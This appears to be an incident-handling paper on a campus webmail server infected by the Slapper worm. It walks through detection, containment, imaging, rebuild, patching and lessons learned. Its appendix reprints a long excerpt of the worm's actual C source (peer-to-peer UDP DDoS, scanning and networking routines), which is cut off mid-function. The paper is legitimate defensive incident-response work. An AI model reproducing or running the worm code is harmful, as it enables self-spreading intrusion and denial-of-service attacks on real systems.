One morning in late September, our frontline technical support staff received several calls from users complaining about the slow performance of the web-based email server. The investigation began with the system administrator examining the IMAP mailstore server for any bottlenecks. Soon after the investigation started, the network administrator received an email from the campus network operation center forwarding a complaint from another site



whose web servers received attacks via port 443. The forwarded email contained a log excerpt with the offending IP address belonging to our network, which in this case was the webmail server.

After the email was received, the network administrator immediately forwarded the message to the system administrator and contacted him via cell phone; the system administrator immediately logged onto the webmail server and checked for the signs of an exploit. The first check was for unusual network activity on the system using the netstat. Running “netstat -a” showed the unusual network activity (shown below). A UDP port running on 2002 was shown to be up and running. In addition, the webmail server was making outgoing port 80 and 443 connections to multiple IP addresses, which definitely was not normal for the server.

```
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp      0      0 *:http                  *:*                      LISTEN
tcp      0      0 *:ssh                   *:*                      LISTEN
tcp      0      0 bob:smtp                *:*                      LISTEN
tcp      0      0 *:https                 *:*                      LISTEN
udp      0      0 *:2002                  *:*                      LISTEN
tcp      0      32 webmail.x.x:https      w.x.y.z:1733           ESTABLISHED
tcp      0      0 webmail.x.x:32872      a.b.c.d:https          FIN_WAIT1
tcp      0      0 webmail.x.x:32873      e.f.g.h:http           FIN_WAIT1
tcp      0      0 webmail.x.x:32874      e.f.g.h:https          ESTABLISHED
```

The next thing checked was the running processes on the server. Running a “ps -ef” command returned an unusual process entry:

```
apache      2724      1  0 Sep20 ?          00:02:31 /tmp/.bugtraq
xx.xx.xx.xx
```

The system administrator wanted to fully verify that this process was the attacking process. He ran the strace command on the process id to see what actions were occurring. The following was a sample output of the “strace -p 2724” command which showed that the process was making attempts to connect to port 80 on several IP addresses in a network.

```
connect(60, {sin_family=AF_INET, sin_port=htons(80),
sin_addr=inet_addr("xx.yy.110.244")}, 16) = -1 ENETUNREACH (Network is
unreachable)
close(60)                                = 0
connect(61, {sin_family=AF_INET, sin_port=htons(80),
sin_addr=inet_addr("xx.yy.110.245")}, 16) = -1 ENETUNREACH (Network is
unreachable)
close(61)                                = 0
connect(62, {sin_family=AF_INET, sin_port=htons(80),
sin_addr=inet_addr("xx.yy.110.246")}, 16) = -1 ENETUNREACH (Network is
unreachable)
close(62)                                = 0
```

```
connect(63, {sin_family=AF_INET, sin_port=htons(80),  
sin_addr=inet_addr("xx.yy.110.247")}}, 16) = -1 ENETUNREACH (Network is  
unreachable)  
close(63) = 0
```

The system administrator went to the Google search engine to check and see if the exploit was well known. He entered the following search terms: /tmp/.bugtraq 2002 apache. Google produced several hundred hits on the search terms and one of them was a CERT advisory about an exploit called Slapper.

After gathering all of the log and web exploit information, the system administrator brought the incident to the attention of management. A presentation was made at the meeting giving details of the Slapper worm and how it infected the system. It was also explained to the management that it would be quite time consuming to try and trace the worm back to the original perpetrator since our servers may be several levels into the infection. After management was presented with information about the incident, it was clear to management that the webmail server should be taken off the network immediately and cleaned up as soon as possible to bring it back into service. As for evidence collection, management decided that it was not worth the time in locating the perpetrator but requested that an image of the compromised system be made for record keeping.

In addition, management wanted an assessment of whether the server should be cleared of the worm and returned back into operation or whether the system should be re-imaged.

## Containment

The first order of business was to check to see if the network interface card on the server was running in promiscuous mode, which would indicate that packet sniffing was occurring on the server. Running the "ifconfig -a" command did not show that the NIC was in promiscuous mode. Next, the server was taken off the network so it would stop attacking other systems and to prevent it from being used in a denial-of-service attack. The network administrator reconfigured the server's network port to disallow routing outside of its subnet. In addition, UDP port 2002 was blocked at the firewall so that no other compromised systems in the complex could be accessed.

After the server was disconnected from the network, a backup of the partitions on the hard drive was made using the dd command. A total of five images were made consisting of root, usr, var, home and boot volumes. Each of the image files had a MD5 checksum associated to verify the integrity. The images and their md5 checksums were burned onto the CDs labeled with the date of the incident and the partitions on it. Two sets were made of the images; one was made available for investigation and the other was archived.

It was difficult to find a secure location within the complex to store the archived CDs and tapes. It was determined that it would be easier to have the CDs and tapes stored in a locked media container and sent to the off-site storage vendor since they would have access controls and logs for their media containers. Since they had to recall a media container that contained the clean image of the webmail server, they also made a request to have a special pickup of a storage media that would be kept off-site for one year.

## Eradication

Since the exploited server did not have a file integrity checker such as Tripwire or AIDE installed to check for other compromised binary programs, it was best to rebuild the webmail system from the clean bootable CD recovery image made with mkCDrec. Before the system could be brought into production, the security issue involving OpenSSL needed to be resolved by patching the OpenSSL libraries to fix the existing buffer overflow.

In addition, some measures were implemented on the server in order prevent other Slapper-type exploits from occurring on the server. The first task was to restrict the gcc compiler to certain users to prevent malicious source code from being compiled and executed. This was accomplished by creating a "gcc" group entry in `/etc/groups` and changing the group permission of gcc to "gcc" with file permissions of 550. The "gcc" group contained users allowed to execute the gcc binary and the user running the web server was excluded.

## Recovery

Recovery for the server was done using an image of the web-based mail server created about five months prior on a bootable CD created with mkCDrec. In addition, the latest Redhat Linux patches were downloaded from Redhat's ftp site and burned onto a CD. The source code for the webmail server was retrieved from a development server repository. Since no data was stored on the server, there was no need to backup any of the data before the system was re-imaged.

The mkCDrec recovery CD boots on the webmail server and a shell prompt is displayed. At the shell prompt, the following commands were typed to recover the system:

```
cd /etc/recovery
./start-restore.sh
```

After the recovery was completed and the server was rebooted, the Redhat patches CD was inserted into the drive and a RPM update was done to the OpenSSL and all other packages. In addition, the preventative measures of restricting the gcc compiler and the outbound port restrictions were added. After

the patching and changes were completed, a test of the Slapper exploit against the rebuilt and re-patched server was needed as the next step in the recovery. To do the test properly, the webmail server was connected to a hub with a Linux workstation, containing the Slapper worm, connected to the hub. The worm on the workstation was modified to only scan the subnet of the webmail server. Once the worm started to run on the workstation, the webmail apache logs were monitored to look for the worm's scan. When the scan occurred, a check was made in the `/tmp` directory and in the process list to check for the signs of the worm.

After the test showed no signs of the exploit, management was notified that recovery was successful and the server was approved to be brought back online again.

### **Lessons Learned**

A meeting with management and the security group was conducted a day after the incident. After discussing how the problem occurred on the system and the possible solutions to prevent it from happening, a few ideas were given that would better prepare them for future exploits.

First, there was a need to monitor latest exploits and available patches to the exploits. This included monitoring web sites (such as Red Hat and SecurityFocus.com) and mailing lists (such as CERT and Bugtraq) on a daily basis. A process would be needed to evaluate the severity of the exploit on their site and a plan created to test the reliability of the patch. In addition, if no patch was yet available, then it would be important to devise a workaround to prevent the exploit. In the case of the Slapper worm, a patch and a workaround were published on the Internet but neither had been implemented prior to the attack.

Second, more training was needed by the security group on the configuration of the firewall. Since the security group didn't have enough training with the SunScreen firewall, the logging was not configured correctly to collect additional log information. This would be very important in the future, as collecting good log is a necessity when investigating purported break-ins.

Third, a need existed for an Intrusion Detection System to allow notification of pending attacks. IDS protocol-based and signature-based detection could help detect the exploit before it causes more damage to other sites. Snort was found to be a good cheap IDS solution to help detect these attacks.

Fourth, Tripwire or similar tools could be used on production servers to check for the integrity of the server binaries. If Tripwire or a similar tool were installed the exploited systems, it would have made eradication and recovery much easier and faster as it would not have required rebuilding the server again from the image.

Fifth, the creation of a “jump bag” would be very helpful in organizing materials needed for incident handling. The items most needed in the bag:

- Laptop with CD writer (dual-boot for Linux and Windows 2000)
- New blank CD and tape media
- Spare hard disks (both IDE and SCSI)
- Spare tape drive (DDS and DLT)
- OS media (Solaris, Linux, and Windows 2000)
- Hardcopy of software license codewords
- Spiral notebooks for taking notes
- A 10/100 Ethernet hub
- Snacks

Finally, a need existed to have process to collect and handle log information from the server and other nearby systems (including IDS and firewalls). It was important to have the logs extract from the server and stored in a secured location immediately without having to make guesses. This item would be needed if the collected information were to be used as evidence.

## **Conclusion**

This paper showed the security problems faced at an educational institution where the network environment is generally open. The issues of security have only been recently addressed; the delays in addressing the problem were attributed to lack of knowledge by management, and the lack of resources (money and people). Although the policy and procedures in incident handling were not fully developed before the Slapper worm hit, there were enough procedures to bring the system back into operation. The future focus is now on fully developing better policy and procedures in incident handling and security.

The Slapper worm was an interesting exploit because it attacked a linked module within a service. It showed that even if Apache was secured, it could be still compromised by the vulnerable module.

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## Appendix

### Slapper Worm Source code

```
1  /*****
2  *
3  *      Peer-to-peer UDP Distributed Denial of Service (PUD)      *
4  *      by contem@efnet                                          *
5  *
6  *      Virtually connects computers via the udp protocol on the  *
7  *      specified port. Uses a newly created peer-to-peer protocol that *
8  *      incorporates uses on unstable or dead computers. The program is *
9  *      ran with the parameters of another ip on the virtual network. If *
10 *      running on the first computer, run with the ip 127.0.0.1 or some *
11 *      other type of local address. Ex:                          *
12 *
13 *      Computer A: ./program 127.0.0.1                          *
14 *      Computer B: ./program Computer_A                        *
15 *      Computer C: ./program Computer_A                        *
16 *      Computer D: ./program Computer_C                        *
17 *
18 *      Any form of that will work. The linking process works by *
19 *      giving each computer the list of available computers, then *
20 *      using a technique called broadcast segmentation combined with TCP *
21 *      like functionality to insure that another computer on the network *
22 *      receives the broadcast packet, segments it again and recreates *
23 *      the packet to send to other hosts. That technique can be used to *
24 *      support over 16 million simultaneously connected computers. *
25 *
26 *      Thanks to ensane and st for donating shells and test beds *
27 *      for this program. And for the admins who removed me because I *
28 *      was testing this program (you know who you are) need to watch *
29 *      their backs.
30 *
31 *      I am not responsible for any harm caused by this program! *
32 *      I made this program to demonstrate peer-to-peer communication and *
33 *      should not be used in real life. It is an education program that *
34 *      should never even be ran at all, nor used in any way, shape or *
35 *      form. It is not the authors fault if it was used for any purposes *
36 *      other than educational.
37 *
38 *      *****/
39
40 #include <stdio.h>
41 #include <unistd.h>
42 #include <string.h>
43 #include <fcntl.h>
44 #include <stdlib.h>
45 #include <stdarg.h>
46 #include <sys/ioctl.h>
47 #include <sys/types.h>
48 #include <sys/socket.h>
49 #include <netinet/in.h>
50 #include <sys/time.h>
```

```

51 #include <unistd.h>
52 #include <errno.h>
53 #include <netdb.h>
54 #include <arpa/inet.h>
55 #include <sys/wait.h>
56 #include <signal.h>
57
58 #define SCAN
59 #undef LARGE_NET
60 #undef FREEBSD
61
62 #define BROADCASTS 2
63 #define LINKS 128
64 #define CLIENTS 128
65 #define PORT 2002
66 #define SCANPORT 80
67 #define SCANTIMEOUT 5
68 #define MAXPATH 4096
69 #define ESCANPORT 10100
70 #define VERSION 12092002
71
72 ////////////////////////////////////////////////////////////////////
73 //                               Macros                               //
74 ////////////////////////////////////////////////////////////////////
75
76 #define FREE(x) {if (x) { free(x);x=NULL; }}
77
78 enum { TCP_PENDING=1, TCP_CONNECTED=2, SOCKS_REPLY=3 };
79 enum { ASUCCESS=0, ARESOLVE, ACONNECT, ASOCKET, ABIND, AINUSE,
APENDING, AINSTANCE, AUNKNOWN };
80 enum { AREAD=1, AWRITE=2, AEXCEPT=4 };
81
82 ////////////////////////////////////////////////////////////////////
83 //                               Packet headers                       //
84 ////////////////////////////////////////////////////////////////////
85
86 struct llheader {
87     char type;
88     unsigned long checksum;
89     unsigned long id;
90 };
91 struct header {
92     char tag;
93     int id;
94     unsigned long len;
95     unsigned long seq;
96 };
97 struct route_rec {
98     struct header h;
99     char sync;
100     unsigned char hops;
101     unsigned long server;
102     unsigned long links;
103 };
104 struct kill_rec {

```



```

105     struct header h;
106 };
107 struct sh_rec {
108     struct header h;
109 };
110 struct list_rec {
111     struct header h;
112 };
113 struct udp_rec {
114     struct header h;
115     unsigned long size;
116     unsigned long target;
117     unsigned short port;
118     unsigned long secs;
119 };
120 struct tcp_rec {
121     struct header h;
122     unsigned long target;
123     unsigned short port;
124     unsigned long secs;
125 };
126 struct tcp6_rec {
127     struct header h;
128     unsigned long target[4];
129     unsigned short port;
130     unsigned long secs;
131 };
132 struct gen_rec {
133     struct header h;
134     unsigned long target;
135     unsigned short port;
136     unsigned long secs;
137 };
138 struct df_rec {
139     struct header h;
140     unsigned long target;
141     unsigned long secs;
142 };
143 struct add_rec {
144     struct header h;
145     unsigned long server;
146     unsigned long socks;
147     unsigned long bind;
148     unsigned short port;
149 };
150 struct data_rec {
151     struct header h;
152 };
153 struct addsrv_rec {
154     struct header h;
155 };
156 struct initsrv_rec {
157     struct header h;
158 };
159 struct qmyip_rec {

```

```

160         struct header h;
161     };
162     struct myip_rec {
163         struct header h;
164         unsigned long ip;
165     };
166     struct escan_rec {
167         struct header h;
168         unsigned long ip;
169     };
170     struct getinfo_rec {
171         struct header h;
172         unsigned long time;
173         unsigned long mtime;
174     };
175     struct info_rec {
176         struct header h;
177         unsigned char a;
178         unsigned char b;
179         unsigned char c;
180         unsigned char d;
181         unsigned long ip;
182         unsigned long uptime;
183         unsigned long reqtime;
184         unsigned long reqmtime;
185         unsigned long in;
186         unsigned long out;
187         unsigned long version;
188     };
189
190     ///////////////////////////////////////////////////////////////////
191     //                P ublic variables                //
192     ///////////////////////////////////////////////////////////////////
193
194     struct ainst {
195         void *ext,*ext5;
196         int ext2,ext3,ext4;
197
198         int sock,error;
199         unsigned long len;
200         struct sockaddr_in in;
201     };
202     struct ainst clients[CLIENTS*2];
203     struct ainst udpclient;
204     unsigned int sseed=0;
205     struct route_table {
206         int id;
207         unsigned long ip;
208         unsigned short port;
209     } routes[LINKS];
210     unsigned long numlinks, *links=NULL, myip=0;
211     unsigned long sequence[LINKS], rsa[LINKS];
212     unsigned int *pids=NULL;
213     unsigned long numpids=0;
214     unsigned long uptime=0, in=0, out=0;

```

```

215 unsigned long synctime=0;
216 int syncmodes=1;
217
218 struct mqueue {
219     char *packet;
220     unsigned long len;
221     unsigned long id;
222     unsigned long time;
223     unsigned long ltime;
224     unsigned long destination;
225     unsigned short port;
226     unsigned char trys;
227     struct mqueue *next;
228 } *queues=NULL;
229
230 #ifdef SCAN
231 unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26,
28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,
232     46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128,
129, 130, 131, 132, 133, 134, 135, 136, 137, 138,
233     139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156,
157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,
234     168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185,
186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
235     198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215,
216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,
236     230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };
237 #endif
238
239 ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
240 //                               Public routines                               //
241 ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
242
243 unsigned long gettimeout() {
244     return 36+(numlinks/15);
245 }
246
247 void syncmode(int mode) {
248     syncmodes=mode;
249 }
250
251 void gstrand(unsigned long s) {
252     sseed=s;
253 }
254 unsigned long grand() {
255     sseed=((sseed*965764979)%65535)/2;
256     return sseed;
257 }
258
259 void nas(int a) {
260 }
261
262 int mfork() {
263     unsigned int parent, *newpids, i;
264     parent=fork();

```

```

265     if (parent <= 0) return parent;
266     numpids++;
267     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
268     if (newpids == NULL) return parent;
269     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
270     newpids[numpids-1]=parent;
271     FREE(pids);
272     pids=newpids;
273     return parent;
274 }
275
276 char *aerror(struct ainst *inst) {
277     if (inst == NULL) return "Invalid instance or socket";
278     switch(inst->error) {
279         case ASUCCESS:return "Operation Success";
280         case ARESOLVE:return "Unable to resolve";
281         case ACONNECT:return "Unable to connect";
282         case ASOCKET:return "Unable to create socket";
283         case ABIND:return "Unable to bind socket";
284         case AINUSE:return "Port is in use";
285         case APENDING:return "Operation pending";
286         case AUNKNOWN:default:return "Unknown";
287     }
288     return "";
289 }
290
291 int aresolve(char *host) {
292     struct hostent *hp;
293     if (inet_addr(host) == 0 || inet_addr(host) == -1) {
294         unsigned long a;
295         if ((hp = gethostbyname(host)) == NULL) return 0;
296         bcopy((char*)hp->h_addr, (char*)&a, hp->h_length);
297         return a;
298     }
299     else return inet_addr(host);
300 }
301
302 int abind(struct ainst *inst,unsigned long ip,unsigned short port) {
303     struct sockaddr_in in;
304     if (inst == NULL) return (AINSTANCE);
305     if (inst->sock == 0) {
306         inst->error=AINSTANCE;
307         return (AINSTANCE);
308     }
309     inst->len=0;
310     in.sin_family = AF_INET;
311     if (ip == NULL) in.sin_addr.s_addr = INADDR_ANY;
312     else in.sin_addr.s_addr = ip;
313     in.sin_port = htons(port);
314     if (bind(inst->sock, (struct sockaddr *)&in, sizeof(in)) < 0) {
315         inst->error=ABIND;
316         return (ABIND);
317     }
318     inst->error=ASUCCESS;
319     return ASUCCESS;

```

```

320 }
321
322 int await(struct ainst **inst,unsigned long len,char type,long secs) {
323     struct timeval tm,*tmp;
324     fd_set read,write,except,*readp,*writep,*exceptp;
325     int p,ret,max;
326     if (inst == NULL) return (AINSTANCE);
327     for (p=0;p<len;p++) inst[p]->len=0;
328     if (secs > 0) {
329         tm.tv_sec=secs;
330         tm.tv_usec=0;
331         tmp=&tm;
332     }
333     else tmp=(struct timeval *)NULL;
334     if (type & AREAD) {
335         FD_ZERO(&read);
336         for (p=0;p<len;p++) FD_SET(inst[p]->sock,&read);
337         readp=&read;
338     }
339     else readp=(struct fd_set*)0;
340     if (type & AWRITE) {
341         FD_ZERO(&write);
342         for (p=0;p<len;p++) FD_SET(inst[p]->sock,&write);
343         writep=&write;
344     }
345     else writep=(struct fd_set*)0;
346     if (type & AEXCEPT) {
347         FD_ZERO(&except);
348         for (p=0;p<len;p++) FD_SET(inst[p]->sock,&except);
349         exceptp=&except;
350     }
351     else exceptp=(struct fd_set*)0;
352     for (p=0,max=0;p<len;p++) if (inst[p]->sock > max) max=inst[p]->sock;
353     if ((ret=select(max+1,readp,writep,exceptp,tmp)) == 0) {
354         for (p=0;p<len;p++) inst[p]->error=APENDING;
355         return (APENDING);
356     }
357     if (ret == -1) return (AUNKNOWN);
358     for (p=0;p<len;p++) {
359         if (type & AREAD) if (FD_ISSET(inst[p]->sock,&read)) inst[p]-
>len+=AREAD;
360         if (type & AWRITE) if (FD_ISSET(inst[p]->sock,&write)) inst[p]-
>len+=AWRITE;
361         if (type & AEXCEPT) if (FD_ISSET(inst[p]->sock,&except)) inst[p]-
>len+=AEXCEPT;
362     }
363     for (p=0;p<len;p++) inst[p]->error=ASUCCESS;
364     return (ASUCCESS);
365 }
366
367 int atcp_sync_check(struct ainst *inst) {
368     if (inst == NULL) return (AINSTANCE);
369     inst->len=0;
370     errno=0;

```

```

371         if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) == 0 || errno ==
EISCONN) {
372             inst->error=ASUCCESS;
373             return (ASUCCESS);
374         }
375         if (!(errno == EINPROGRESS || errno == EALREADY)) {
376             inst->error=ACONNECT;
377             return (ACONNECT);
378         }
379         inst->error=APENDING;
380         return (APENDING);
381     }
382
383     int atcp_sync_connect(struct ainst *inst,char *host,unsigned int port) {
384         int flag=1;
385         struct hostent *hp;
386         if (inst == NULL) return (AINSTANCE);
387         inst->len=0;
388         if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
389             inst->error=ASOCKET;
390             return (ASOCKET);
391         }
392         if (inet_addr(host) == 0 || inet_addr(host) == -1) {
393             if ((hp = gethostbyname(host)) == NULL) {
394                 inst->error=ARESOLVE;
395                 return (ARESOLVE);
396             }
397             bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
398         }
399         else inst->in.sin_addr.s_addr=inet_addr(host);
400         inst->in.sin_family = AF_INET;
401         inst->in.sin_port = htons(port);
402         flag = fcntl(inst->sock, F_GETFL, 0);
403         flag |= O_NONBLOCK;
404         fcntl(inst->sock, F_SETFL, flag);
405         inst->error=ASUCCESS;
406         return (ASUCCESS);
407     }
408
409     int atcp_connect(struct ainst *inst,char *host,unsigned int port) {
410         int flag=1;
411         unsigned long start;
412         struct hostent *hp;
413         if (inst == NULL) return (AINSTANCE);
414         inst->len=0;
415         if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
416             inst->error=ASOCKET;
417             return (ASOCKET);
418         }
419         if (inet_addr(host) == 0 || inet_addr(host) == -1) {
420             if ((hp = gethostbyname(host)) == NULL) {
421                 inst->error=ARESOLVE;
422                 return (ARESOLVE);
423             }
424             bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);

```

```

425     }
426     else inst->in.sin_addr.s_addr=inet_addr(host);
427     inst->in.sin_family = AF_INET;
428     inst->in.sin_port = htons(port);
429     flag = fcntl(inst->sock, F_GETFL, 0);
430     flag |= O_NONBLOCK;
431     fcntl(inst->sock, F_SETFL, flag);
432     start=time(NULL);
433     while(time(NULL)-start < 10) {
434         errno=0;
435         if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) == 0 ||
errno == EISCONN) {
436             inst->error=ASUCCESS;
437             return (ASUCCESS);
438         }
439         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
440         sleep(1);
441     }
442     inst->error=ACONNECT;
443     return (ACONNECT);
444 }
445
446 int atcp_accept(struct ainst *inst,struct ainst *child) {
447     int sock;
448     unsigned int datalen;
449     if (inst == NULL || child == NULL) return (AINSTANCE);
450     datalen=sizeof(child->in);
451     inst->len=0;
452     memcpy((void*)child,(void*)inst,sizeof(struct ainst));
453     if ((sock=accept(inst->sock,(struct sockaddr *)&child->in,&datalen)) < 0) {
454         memset((void*)child,0,sizeof(struct ainst));
455         inst->error=APENDING;
456         return (APENDING);
457     }
458     child->sock=sock;
459     inst->len=datalen;
460     inst->error=ASUCCESS;
461     return (ASUCCESS);
462 }
463
464 int atcp_send(struct ainst *inst,char *buf,unsigned long len) {
465     long datalen;
466     if (inst == NULL) return (AINSTANCE);
467     inst->len=0;
468     errno=0;
469     if ((datalen=write(inst->sock,buf,len)) < len) {
470         if (errno == EAGAIN) {
471             inst->error=APENDING;
472             return (APENDING);
473         }
474         else {
475             inst->error=AUNKNOWN;
476             return (AUNKNOWN);
477         }
478     }

```

```

479     inst->len=datalen;
480     inst->error=ASUCCESS;
481     return (ASUCCESS);
482 }
483
484 int atcp_sendmsg(struct ainst *inst, char *words, ...) {
485     static char textBuffer[2048];
486     unsigned int a;
487     va_list args;
488     va_start(args, words);
489     a=vsprintf(textBuffer, words, args);
490     va_end(args);
491     return atcp_send(inst,textBuffer,a);
492 }
493
494 int atcp_rcv(struct ainst *inst,char *buf,unsigned long len) {
495     long datalen;
496     if (inst == NULL) return (AINSTANCE);
497     inst->len=0;
498     if ((datalen=read(inst->sock,buf,len)) < 0) {
499         if (errno == EAGAIN) {
500             inst->error=APENDING;
501             return (APENDING);
502         }
503         else {
504             inst->error=AUNKNOWN;
505             return (AUNKNOWN);
506         }
507     }
508     if (datalen == 0 && len) {
509         inst->error=AUNKNOWN;
510         return (AUNKNOWN);
511     }
512     inst->len=datalen;
513     inst->error=ASUCCESS;
514     return (ASUCCESS);
515 }
516
517 int atcp_close(struct ainst *inst) {
518     if (inst == NULL) return (AINSTANCE);
519     inst->len=0;
520     if (close(inst->sock) < 0) {
521         inst->error=AUNKNOWN;
522         return (AUNKNOWN);
523     }
524     inst->sock=0;
525     inst->error=ASUCCESS;
526     return (ASUCCESS);
527 }
528
529 int audp_listen(struct ainst *inst,unsigned int port) {
530     int flag=1;
531     if (inst == NULL) return (AINSTANCE);
532     inst->len=0;
533     if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {

```



```

534         inst->error=ASOCKET;
535         return (ASOCKET);
536     }
537     inst->in.sin_family = AF_INET;
538     inst->in.sin_addr.s_addr = INADDR_ANY;
539     inst->in.sin_port = htons(port);
540     if (bind(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) < 0) {
541         inst->error=ABIND;
542         return (ABIND);
543     }
544 #ifdef O_DIRECT
545     flag = fcntl(inst->sock, F_GETFL, 0);
546     flag |= O_DIRECT;
547     fcntl(inst->sock, F_SETFL, flag);
548 #endif
549     inst->error=ASUCCESS;
550     flag=1;
551     setsockopt(inst->sock,SOL_SOCKET,SO_OOBINLINE,&flag,sizeof(flag));
552     return (ASUCCESS);
553 }
554
555 int audp_setup(struct ainst *inst,char *host,unsigned int port) {
556     int flag=1;
557     struct hostent *hp;
558     if (inst == NULL) return (AINSTANCE);
559     inst->len=0;
560     if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
561         inst->error=ASOCKET;
562         return (ASOCKET);
563     }
564     if (inet_addr(host) == 0 || inet_addr(host) == -1) {
565         if ((hp = gethostbyname(host)) == NULL) {
566             inst->error=ARESOLVE;
567             return (ARESOLVE);
568         }
569         bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
570     }
571     else inst->in.sin_addr.s_addr=inet_addr(host);
572     inst->in.sin_family = AF_INET;
573     inst->in.sin_port = htons(port);
574 #ifdef O_DIRECT
575     flag = fcntl(inst->sock, F_GETFL, 0);
576     flag |= O_DIRECT;
577     fcntl(inst->sock, F_SETFL, flag);
578 #endif
579     inst->error=ASUCCESS;
580     return (ASUCCESS);
581 }
582
583 int audp_relay(struct ainst *parent,struct ainst *inst,char *host,unsigned int port) {
584     struct hostent *hp;
585     if (inst == NULL) return (AINSTANCE);
586     inst->len=0;
587     inst->sock = parent->sock;
588     if (inet_addr(host) == 0 || inet_addr(host) == -1) {

```

```

589         if ((hp = gethostbyname(host)) == NULL) {
590             inst->error=ARESOLVE;
591             return (ARESOLVE);
592         }
593         bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
594     }
595     else inst->in.sin_addr.s_addr=inet_addr(host);
596     inst->in.sin_family = AF_INET;
597     inst->in.sin_port = htons(port);
598     inst->error=ASUCCESS;
599     return (ASUCCESS);
600 }
601
602 int audp_send(struct ainst *inst,char *buf,unsigned long len) {
603     long datalen;
604     if (inst == NULL) return (AINSTANCE);
605     inst->len=0;
606     errno=0;
607     if ((datalen=sendto(inst->sock,buf,len,0,(struct sockaddr*)&inst->in,sizeof(inst->in))) <
len) {
608         if (errno == EAGAIN) {
609             inst->error=APENDING;
610             return (APENDING);
611         }
612         else {
613             inst->error=AUNKNOWN;
614             return (AUNKNOWN);
615         }
616     }
617     out++;
618     inst->len=datalen;
619     inst->error=ASUCCESS;
620     return (ASUCCESS);
621 }
622
623 int audp_sendmsg(struct ainst *inst, char *words, ...) {
624     static char textBuffer[2048];
625     unsigned int a;
626     va_list args;
627     va_start(args, words);
628     a=vsprintf(textBuffer, words, args);
629     va_end(args);
630     return audp_send(inst,textBuffer,a);
631 }
632
633 int audp_recv(struct ainst *inst,struct ainst *client,char *buf,unsigned long len) {
634     long datalen,nlen;
635     if (inst == NULL) return (AINSTANCE);
636     nlen=sizeof(inst->in);
637     inst->len=0;
638     memcpy((void*)client,(void*)inst,sizeof(struct ainst));
639     if ((datalen=recvfrom(inst->sock,buf,len,0,(struct sockaddr*)&client-
>in,(size_t*)&nlen)) < 0) {
640         if (errno == EAGAIN) {
641             inst->error=APENDING;

```

```

642             return (APENDING);
643         }
644         else {
645             inst->error=AUNKNOWN;
646             return (AUNKNOWN);
647         }
648     }
649     inst->len=dataalen;
650     inst->error=ASUCCESS;
651     return (ASUCCESS);
652 }
653
654 int audp_close(struct ainst *inst) {
655     if (inst == NULL) return (AINSTANCE);
656     inst->len=0;
657     if (close(inst->sock) < 0) {
658         inst->error=AUNKNOWN;
659         return (AUNKNOWN);
660     }
661     inst->sock=0;
662     inst->error=ASUCCESS;
663     return (ASUCCESS);
664 }
665
666 unsigned long _decrypt(char *str, unsigned long len) {
667     unsigned long pos=0,seed[4]={0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7};
668     gsrnd(((seed[0]+seed[1])*seed[2])^seed[3]);
669     while(1) {
670         gsrnd(seed[pos%4]+grand()+pos);
671         str[pos]-=grand();
672         pos++;
673         if (pos >= len) break;
674     }
675     return pos;
676 }
677
678 unsigned long _encrypt(char *str, unsigned long len) {
679     unsigned long pos=0,seed[4]={0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7};
680     gsrnd(((seed[0]+seed[1])*seed[2])^seed[3]);
681     while(1) {
682         gsrnd(seed[pos%4]+grand()+pos);
683         str[pos]+=grand();
684         pos++;
685         if (pos >= len) break;
686     }
687     return pos;
688 }
689
690 int useseq(unsigned long seq) {
691     unsigned long a;
692     if (seq == 0) return 0;
693     for (a=0;a<LINKS;a++) if (sequence[a] == seq) return 1;
694     return 0;
695 }
696

```

```

697 unsigned long newseq() {
698     unsigned long seq;
699     while(1) {
700         seq=(rand()*rand())^rand();
701         if (useseq(seq) || seq == 0) continue;
702         break;
703     }
704     return seq;
705 }
706
707 void addseq(unsigned long seq) {
708     unsigned long i;
709     for (i=LINKS-1;i>0;i--) sequence[i]=sequence[i-1];
710     sequence[0]=seq;
711 }
712
713 void addserver(unsigned long server) {
714     unsigned long *newlinks, i, stop;
715     char a=0;
716     for (i=0;i<numlinks;i++) if (links[i] == server) a=1;
717     if (a == 1 || server == 0) return;
718     numlinks++;
719     newlinks=(unsigned long*)malloc((numlinks+1)*sizeof(unsigned long));
720     if (newlinks == NULL) return;
721     stop=rand()%numlinks;
722     for (i=0;i<stop;i++) newlinks[i]=links[i];
723     newlinks[i]=server;
724     for (;i<numlinks-1;i++) newlinks[i+1]=links[i];
725     FREE(links);
726     links=newlinks;
727 }
728
729 void conv(char *str,int len,unsigned long server) {
730     memset(str,0,len);
731     strcpy(str,(char*)inet_ntoa(*(struct in_addr*)&server));
732 }
733
734 int isreal(unsigned long server) {
735     char srv[256];
